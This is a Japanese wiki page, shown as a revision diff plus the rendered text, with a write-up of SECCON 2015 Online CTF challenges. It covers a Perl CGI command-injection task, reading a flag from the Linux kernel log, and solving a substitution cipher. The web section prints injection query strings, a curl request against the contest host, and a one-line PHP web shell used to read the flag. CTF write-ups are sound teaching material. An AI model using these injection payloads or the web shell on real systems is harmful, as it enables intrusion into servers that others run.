「SECCON 2015 Online CTF」の版間の差分

提供: セキュリティ
移動: 案内検索
行6: 行6:
  
 
== 概要 ==
 
== 概要 ==
 +
== Web/Network 100: Entry form ==
 +
問題は、以下のとおりです。
 +
http://entryform.pwn.seccon.jp/register.cgi
 +
 
 +
( Do not use your real mail address.)
 +
(登録情報に他人に知られたくないメールアドレスは使用しないでください)
 +
 +
http://entryform.pwn.seccon.jp/register.cgi
 +
にアクセスします。パスからもわかりますが、CGIが動いてます。
 +
パラメータを弄くって、なにかするんだろ、と思いました。
 +
 +
メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。
 +
 +
途方にくれていましたが、
 +
http://entryform.pwn.seccon.jp/register.cgi
 +
のディレクトリを漁ることになりました。
 +
http://entryform.pwn.seccon.jp/
 +
を見てみると
 +
SECRETS
 +
register.cgi
 +
register.cgi_bak
 +
logo.png
 +
などのファイルがありました。
 +
 +
register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。
 +
 +
ソースコードをながめていると '''FLAG HERE''' というコメントがあります。
 +
<syntaxhighlight lang="perl">
 +
if($q->param("mail") ne '' && $q->param("name") ne '') {
 +
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
 +
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject:
 +
from SECCON Entry Form\n\nWe received your entry.\n";
 +
  close(SH);
 +
 +
  open(LOG, ">>log"); ### <-- FLAG HERE ###
 +
</syntaxhighlight>
 +
log というファイルに FLAG があるようです。
 +
 +
open 関数に、コマンドを流し込めば、なんとかできそうに見えます。
 +
cat log
 +
みたいなコマンドラインが突っ込めるとよさそうです。
 +
 +
register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。
 +
 +
?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send
 +
みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。
 +
<syntaxhighlight lang="bash">
 +
total 8
 +
-r--r--r-- 1 root root 42 Dec  1 21:52 backdoor123.php
 +
-r--r--r-- 1 root root 19 Dec  1 21:52 index.html
 +
</syntaxhighlight>
 +
backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。
 +
 +
<syntaxhighlight lang="bash">
 +
$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"
 +
<pre><?php system($_GET['cmd']); ?></pre>
 +
</syntaxhighlight>
 +
つまり、PHPのソースコードは以下のとおりです。
 +
<syntaxhighlight lang="php">
 +
<pre><?php system($_GET['cmd']); ?></pre>
 +
</syntaxhighlight>
 +
ここまでくれば、問題が解けそうですね。
 +
 +
PHP を利用して、コマンドインジェクションしてみます。
 +
FLAG が入っているとウワサのログ(log)ファイルを確認します。
 +
<syntaxhighlight lang="bash">
 +
http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log
 +
 +
SECCON{Glory_will_shine_on_you.}
 +
</syntaxhighlight>
 +
できた!ということで、解けました。
 
== Binary 300: Exec dmesg ==
 
== Binary 300: Exec dmesg ==
 
問題は、以下のとおりです。
 
問題は、以下のとおりです。

2015年12月6日 (日) 18:37時点における版

2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。

読み方

SECCON
せくこん

概要

Web/Network 100: Entry form

問題は、以下のとおりです。

http://entryform.pwn.seccon.jp/register.cgi
 
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)
http://entryform.pwn.seccon.jp/register.cgi

にアクセスします。パスからもわかりますが、CGIが動いてます。 パラメータを弄くって、なにかするんだろ、と思いました。

メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。

途方にくれていましたが、

http://entryform.pwn.seccon.jp/register.cgi

のディレクトリを漁ることになりました。

http://entryform.pwn.seccon.jp/

を見てみると

SECRETS
register.cgi
register.cgi_bak
logo.png

などのファイルがありました。

register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。

ソースコードをながめていると FLAG HERE というコメントがあります。

if($q->param("mail") ne '' && $q->param("name") ne '') {
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject:
 from SECCON Entry Form\n\nWe received your entry.\n";
  close(SH);
 
  open(LOG, ">>log"); ### <-- FLAG HERE ###

log というファイルに FLAG があるようです。

open 関数に、コマンドを流し込めば、なんとかできそうに見えます。

cat log

みたいなコマンドラインが突っ込めるとよさそうです。

register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。

?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send

みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。

total 8
-r--r--r-- 1 root root 42 Dec  1 21:52 backdoor123.php
-r--r--r-- 1 root root 19 Dec  1 21:52 index.html

backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。

$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"
<?php system($_GET['cmd']); ?>

つまり、PHPのソースコードは以下のとおりです。

UNIQ439dd3b5d0bb482d-pre-00000005-QINU

ここまでくれば、問題が解けそうですね。

PHP を利用して、コマンドインジェクションしてみます。 FLAG が入っているとウワサのログ(log)ファイルを確認します。

http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log
 
SECCON{Glory_will_shine_on_you.}

できた!ということで、解けました。

Binary 300: Exec dmesg

問題は、以下のとおりです。

Please find secret message from the iso linux image.
image.zip
  
秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip

Exec dmesgは、 Linux の iso イメージからヒミツのメッセージを見つけてください、という問題です。問題文から dmesg を実行したら良さそうに見えます。

まず、iso イメージのLinuxを起動します。 VMWare Player で新しい仮想マシンを作成して、インストールメディアとして tiny_linux/core-current.iso イメージをマウントして、起動します。

dmesg コマンドを実行してみますが、実行できず、確認できません。

tc@box:~$ dmesg
dmesg: applet not found

そこで、以下の手順で FLAG を探します。

$ cat /dev/kmsg | grep SECCON
7,311,180341,-;SECCON{elf32-i386}

これが、FLAGのようです。

/proc/kmsg では、見つかりませんでした。

sudo cat /proc/kmsg

Exercises 50: Last Challenge (Thank you for playing)

暗号の練習問題的な問題です。特に道具は必要はなく、 vim の中で解きました。

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

There is no bonus in this question

ここを解きます。

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

今までの問題で、以下の形式になっていることがわかってます。

Plain: SECCON{______________}

というわけで

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{______________}

になるので

A->S
}->E
F->C
D->O
N->N
E->{
O->}

が自動的に決定しました。 それを当てはめると

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{SEE_O_NE___E__}

になります。なんとなく、見えてきてますよね。 SEE YOU ... みたいになりそうです。

ここからは、 ex1 と ex1 の変換を当てはめていくと

SECCON{SEEYOUNEXTYEAR}

となりました。これが答えです。

SEE YOU NEXT YEAR ということで、また来年、というメッセージでした。

関連項目